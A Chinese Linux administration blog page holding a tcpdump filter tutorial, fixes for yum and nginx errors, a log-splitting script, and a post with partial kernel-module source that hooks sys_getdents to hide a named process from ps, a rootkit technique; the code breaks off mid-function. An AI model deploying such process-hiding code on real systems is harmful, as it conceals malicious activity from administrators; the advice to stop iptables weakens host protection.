0×0040: 2425 2627 2829 2a2b 2c2d 2e2f 3031 3233 $%&’()*+,-./0123
0×0050: 3435 3637 4567
00:20:40.064096 IP (tos 0×0, ttl 128, id 25296, offset 0, flags [none], proto ICMP (1), length 84) 173.83.123.7 > 192.168.111.128: ICMP echo reply, id 10621, seq 1, length 64
0×0000: 4500 0054 62d0 0000 8001 7f55 ad53 7b07 E..Tb……U.S{.
0×0010: c0a8 6f80 0000 6ce6 297d 0001 d745 cc4c ..o…l.)}…E.L
0×0020: d005 0b00 0809 0a0b 0c0d 0e0f 1011 1213 …………….
0×0030: 1415 1617 1819 1a1b 1c1d 1e1f 2021 2223 ………….!”#
0×0040: 2425 2627 2829 2a2b 2c2d 2e2f 3031 3233 $%&’()*+,-./0123
0×0050: 3435 3637 4567
2 packets captured
2 packets received by filter
0 packets dropped by kernel
blog.ykyi.net#

http://blog.ykyi.net

表达式(Expressions)
使用表达式可以让你略去各种各样的流量而只得到你真正关注的。掌握表达式并且会创造性地使用组合技巧才使你真正发挥tcpdump的力量。有三种主要的表达式: type, dir 和 proto.

Type选项是host, net, 和 port. 方向用 dir 指示。可以这样 src, dst; src 或者 dst; 而且 src 和 dst。下面是一些你应该熟练掌握的例子。

host: 只查看指定IP或者指定主机的流量(当你使用 -n 选项时不可以指定主机名)
blog.ykyi.net# tcpdump host 1.2.3.4

src, dst: 查看从 src 发出的,或者目的地是 dst 的流量(忽略会话的另一端)
•src, dst // find traffic from only a source or destination (eliminates one side of a host conversation)
blog.ykyi.net# tcpdump src 2.3.4.5
blog.ykyi.net# tcpdump dst 3.4.5.6

net: 使用无类别域间路由(CIDR,Classless Inter-Domain Routing)指定要抓包的网络。
# tcpdump net 1.2.3.0/24

proto: 指定要抓取的包的协议类型,可以指定tcp,udp,或icmp。可以不用敲入proto
# tcpdump icmp

port: 只查看从指定端口进出的流量
# tcpdump port 3389

src, dst port: 指定的源地址和端口号,或者目的地址和端口号。只抓取匹配指定地址端口的流量。
# tcpdump src port 1025
# tcpdump dst port 389

src,dst port, protocal : 组合三种指定条件.
# tcpdump src port 1025 and tcp
# tcpdump udp and src port 53

还有一个选项可以让你指定一个端口地址的范围
•Port Ranges
tcpdump portrange 21-23

指定包的大小
•Packet Size Filter // only see packets below or above a certain size (in bytes)
tcpdump less 32
tcpdump greater 128
tcpdump equal 64

tcpdump > 32 // 也可以使用数学符号
tcpdump <= 128

写入文件
用 -w 选项可以指定一个文件,把抓取到的内容存入该文件内。以后还可以用 -r 指定文件,把以前存入的内容再读回来。这是一个相当不错的方法,可以先抓取包,以后再用各种工具分析。

以这种形式抓到的流量是以tcpdump的格式储存的。这种格式在网络分析的工具之间非常通用。这意味着,像 Wireshark, Snort, 等工具也可以读取它。

把出入80端口的所有流量记录到文件中
# tcpdump -s 1514 port 80 -w capture_file

然后,在将来某个时候,你就能够把存在文件中的流量读回,比如:
# tcpdump -r capture_file

创造性的使用tcpdump
表达式确实不错,但是要真正发挥tcpdump的威力来自于创造性地组合使用各种表达式。这样就可以把你想要关注的信息单独抽出来。tcpdump有三种组合方式,如果你稍微懂点计算机,这简直太容易理解了。
1.与操作
and 或者 &&
2.或操作
or 或者 ||
3.非操作
not 或者 !

比如检测来自10.5.2.3去到端口3389的流量
# tcpdump -nnvvS tcp and src 10.5.2.3 and dst port 3389

检测来自网络 192.168.0.0/16 去到网络 10.0.0.0/8 或者网络 172.16.0.0/16 的流量
# tcpdump -nvX src net 192.168.0.0/16 and dst net 10.0.0.0/8 or 172.16.0.0/16

来自网络 172.16.16.0.0/16 去到主机 1292.168.0.2的 ICMP 流量.
# tcpdump -nvvXSs 1514 dst 192.168.0.2 and src net 172.16.0.0/16 and not icmp

从主机名为 Mars(火星) 或者 Pluto(冥王星) 发出的,目的地不是SSH端口的流量
# tcpdump -vv src mars or pluto and not dst port 22

你已经看到了,你可以创建不同的组合来完成不同的需要。关键在于你知道自己需要怎样的数据,然后就可以使用恰当的语法把它们提炼出来。

同时需要牢记在心的是,当你创建复杂的组合时,你可能会需要用单引号把几个选项括起来。使用单引号是为了告诉 tcpdump 忽略特殊字符(译者注: 同BASH一样)。比如这种情况, 一对小括号”()”。同样的技术可以用来把几个表达式括起来,比如 host, port, net 等。看看下面的例子:

要抓取从10.0.2.4出发去到端口3389或端口22的流量。
# tcpdump src 10.0.2.4 and (dst port 3389 or 22) // 错误的写法!

本应该是一个很有用的组合,但是你运行它,你却得到一个错误,因为小括号!你可以用两种方式纠正这个错误。要么在小括号前加上转义字符 \ 或者把整个组合命令用单引号括起来。

# tcpdump ‘src 10.0.2.4 and (dst port 3389 or 22)’ // 现在就对了!

进阶部分
你还可以根据包里面的某些字段来组合各种条件指定你要关注的包。这个功能在你想要查看SYNs和RSTs非常有用。

Show me all URG packets:
查看所有的紧急包(URG包)
# tcpdump ‘tcp[13] & 32 != 0′

查看所有的确认包(ACK包)
# tcpdump ‘tcp[13] & 16 != 0′

查看所有的PSH包
# tcpdump ‘tcp[13] & 8 != 0′

查看所有的RST包
# tcpdump ‘tcp[13] & 4 != 0′

查看所有的SYN包
# tcpdump ‘tcp[13] & 2 != 0′

查看所有的FIN包
# tcpdump ‘tcp[13] & 1 != 0′

查看所有的SYN-ACK包
# tcpdump ‘tcp[13] = 18′

http://blog.ykyi.net

注意:只有PSH, RST, SYN 和 FIN 标志显示在tcpdump的标志域输出中。URG和ACK也会被显示,但显示在其它的地方而不是在标志位中(Flags Field).

你应该明白为什么以上的命令的写法。tcp[13]表示在tcp头的偏移量13字节的位置,然后作了一个布尔判断。

在神奇的Unix世界,一件事通常可以用好几种方式做到。tcpdump也不例外。下面的例子是另一个通过指定tcp包的标志位来查看包的命令。

Capturing TCP Flags Using the tcpflags Option
用 tcpflags 选项来指定 tcp 标志位。

查看SYN包.
# tcpdump ‘tcp[tcpflags] & tcp-syn != 0

特殊流量
查看所有IPv6的流量
# tcpdump ip6

查看所有同时设置了SYN和RST位的流量(仅仅举例,实际上并不可能发生):
# tcpdump ‘tcp[13] = 6′

查看所有的 evil 位被设置的流量
# tcpdump ‘ip[6] & 128 != 0′

转载注明(LINUXQQ)

四月 30, 2011

linux 隐藏进程

Filed under: linux — admin @ 3:15 下午

改天空了研究下 先记录上网上很多类似的文章,其中很多示例程序都是在比较老的内核版本上测试过,很多在新的内核下根本无法运行,我收集了一些相关的资料,并给出一个在linux内核2.6.28(ubuntu9.04)上可以运行的程序代码.相比其他一些文章,修改如下:

  1.增加了两个函数,清CR0的第20位,不然在替换sys_call_table的时候会报段错误.

  unsigned int clear_and_return_cr0(void);

  void setback_cr0(unsigned int val);

  2.针对ubuntu9.04中,ps命令用的系统调用是sys_getdents,不是sys_getdents64(在suse系统里面用的是sys_getdents64),所以程序中劫持的是sys_getdents的系统调用.

  测试环境: ubuntu9.04 内核版本2.6.28

  模块代码如下:

  /*hideps.c*/

  #include <linux/module.h>

  #include <linux/kernel.h>

  #include <asm/unistd.h>

  #include <linux/types.h>

  #include <linux/sched.h>

  #include <linux/dirent.h>

  #include <linux/string.h>

  #include <linux/file.h>

  #include <linux/fs.h>

  #include <linux/list.h>

  #include <asm/uaccess.h>

  #include <linux/unistd.h>

  //#include <sys/stat.h>

  //#include <fcntl.h>

  #define CALLOFF 100

  //使用模块参数来定义需要隐藏的进程名

  int orig_cr0;

  char psname[10]=”looptest”;

  char *processname=psname;

  //module_param(processname, charp, 0);

  struct {

  unsigned short limit;

  unsigned int base;

  } __attribute__ ((packed)) idtr;

  struct {

  unsigned short off1;

  unsigned short sel;

  unsigned char none,flags;

  unsigned short off2;

  } __attribute__ ((packed)) * idt;

  struct linux_dirent{

  unsigned long     d_ino;

  unsigned long     d_off;

  unsigned short    d_reclen;

  char    d_name[1];

  };

  void** sys_call_table;

  unsigned int clear_and_return_cr0(void)

  {

  unsigned int cr0 = 0;

  unsigned int ret;

  asm volatile (“movl %%cr0, %%eax”

  : “=a”(cr0)

  );

  ret = cr0;

  /*clear the 20th bit of CR0,*/

  cr0 &= 0xfffeffff;

  asm volatile (“movl %%eax, %%cr0″

  :

  : “a”(cr0)

  );

  return ret;

  }

  void setback_cr0(unsigned int val)

  {

  asm volatile (“movl %%eax, %%cr0″

  :

  : “a”(val)

  );

  }

  asmlinkage long (*orig_getdents)(unsigned int fd,

  struct linux_dirent __user *dirp, unsigned int count);

  char * findoffset(char *start)

  {

  char *p;

  for (p = start; p < start + CALLOFF; p++)

  if (*(p + 0) == ‘\xff’ && *(p + 1) == ‘\x14′ && *(p + 2) == ‘\x85′)

  return p;

  return NULL;

  }

  int myatoi(char *str)

  {

  int res = 0;

  int mul = 1;

  char *ptr;

  for (ptr = str + strlen(str) – 1; ptr >= str; ptr–)

  {

  if (*ptr < ’0′ || *ptr > ’9′)

  return (-1);

  res += (*ptr – ’0′) * mul;

  mul *= 10;

  }

  if(res>0 && res< 9999)

  printk(KERN_INFO “pid=%d,”,res);

  printk(“\n”);

  return (res);

  }

  struct task_struct *get_task(pid_t pid)

  {

  struct task_struct *p = get_current(),*entry=NULL;

  list_for_each_entry(entry,&(p->tasks),tasks)

  {

  if(entry->pid == pid)

  {

  printk(“pid found=%d\n”,entry->pid);

  return entry;

  }

  else

  {

  //    printk(KERN_INFO “pid=%d not found\n”,pid);

  }

  }

  return NULL;

  }

  static inline char *get_name(struct task_struct *p, char *buf)

  {

  int i;

  char *name;

  name = p->comm;

  i = sizeof(p->comm);

  do {

  unsigned char c = *name;

  name++;

  i–;

  *buf = c;

  if (!c)

  break;

  if (c == ‘\\’) {

  buf[1] = c;

  buf += 2;

  continue;

  }

  if (c == ‘\n’)

四月 14, 2011

You could try using –skip-broken to work around the problem

Filed under: linux — admin @ 10:07 上午

Error: Missing Dependency: perl(Compress::Raw::Zlib) = 2.024 is needed by package perl-IO-Compress-2.030-1.el5.rf.noarch (dag)
 You could try using –skip-broken to work around the problem
 You could try running: package-cleanup –problems
                        package-cleanup –dupes
                        rpm -Va –nofiles –nodigest
The program package-cleanup is found in the yum-utils package.
[root@www ~]# 

解决: 

yum –skip-broken update

三月 25, 2011

upstream timed out (110: Connection timed out) while reading response header from upstream

Filed under: linux — admin @ 10:23 上午

nginx 老报错 百度搜索了下  发现了下面的文章 不过说实话我还没去试 哈哈

系统版本 CENTOS 5.5 NGINX PHP

在错误日志里看到几百个 upstream timed out 的错误.

2010/12/15 22:32:45 [error] 3897#0: *1831129 upstream timed out (110: Connection timed out) while reading response header from upstream, client: 116.217.163.37, server: xxx.com.cn, request: “GET / HTTP/1.1″, upstream: “fastcgi://127.0.0.1:9000″, host: “xxx.com.cn”, referrer: “http://xxx.com.cn/”

以下的文章是转载的 但其实我的解决办法是关闭iptables 就好了

service iptables stop 就OK了 具体问题我也很郁闷 我并没有封闭9000端口 不过确实就这样好啦

从日志的表示来看应该不是nginx的问题,而是 fast-cgi 执行超时没有及时返回数据到ngnix的问题. 可web和数据库负载都不高,不应该是

程序超时的问题. 查资料也没有找到原因,网上于几个人说遇到同样问题,也没有好的解决方案. 后来仔细分析日志,发现出现错误的日志的时间都是大于当前时间,这点很奇怪,难道是系统时间的问题? 后来再仔细查资料,才找到原因. 原来是 centos 的一个内核bug, 调用gettimeofday()这个函数的时候会比当前时间快4398秒.  具体原因是因为多核cpu,各核的TSC不一样造成的.  看来 fast-cgi 应该是调用了这个函数的.

解决方案是升级内核..  相信很多和我一样不是专业sa的兄弟对升级内核之类的事情还是比较犯怵的,不过不用担心有一个不用升级内核的解决方案. 在不升级kernel的情况下,可以考虑修改time source,来解决。修改kernel option。

具体操作如下:

vim /etc/grub.conf

kernel /vmlinuz-2.6.9-1.667 ro root=/dev/hda2 clock=pit (红色部分为新增的)

然后重启服务器,问题解决.  我的产品环境已经3天没有报这个错误了.

三月 20, 2011

shell 日志切片小脚本

Filed under: linux — admin @ 8:00 下午

接上文 从ROS 接收到日志了以后 进行切片

#!/bin/bash
LOG=/var/log/ros/ros.log
if [ `wc -l $LOG |awk '{print $1}'` -gt 3000000 ]
then
  split -l 900000 ros.log os
  cat /dev/null >$LOG
  exit 1
fi
将日志按行数切割啦

Older Posts »

Powered by LINUXQQ   ICP 10203065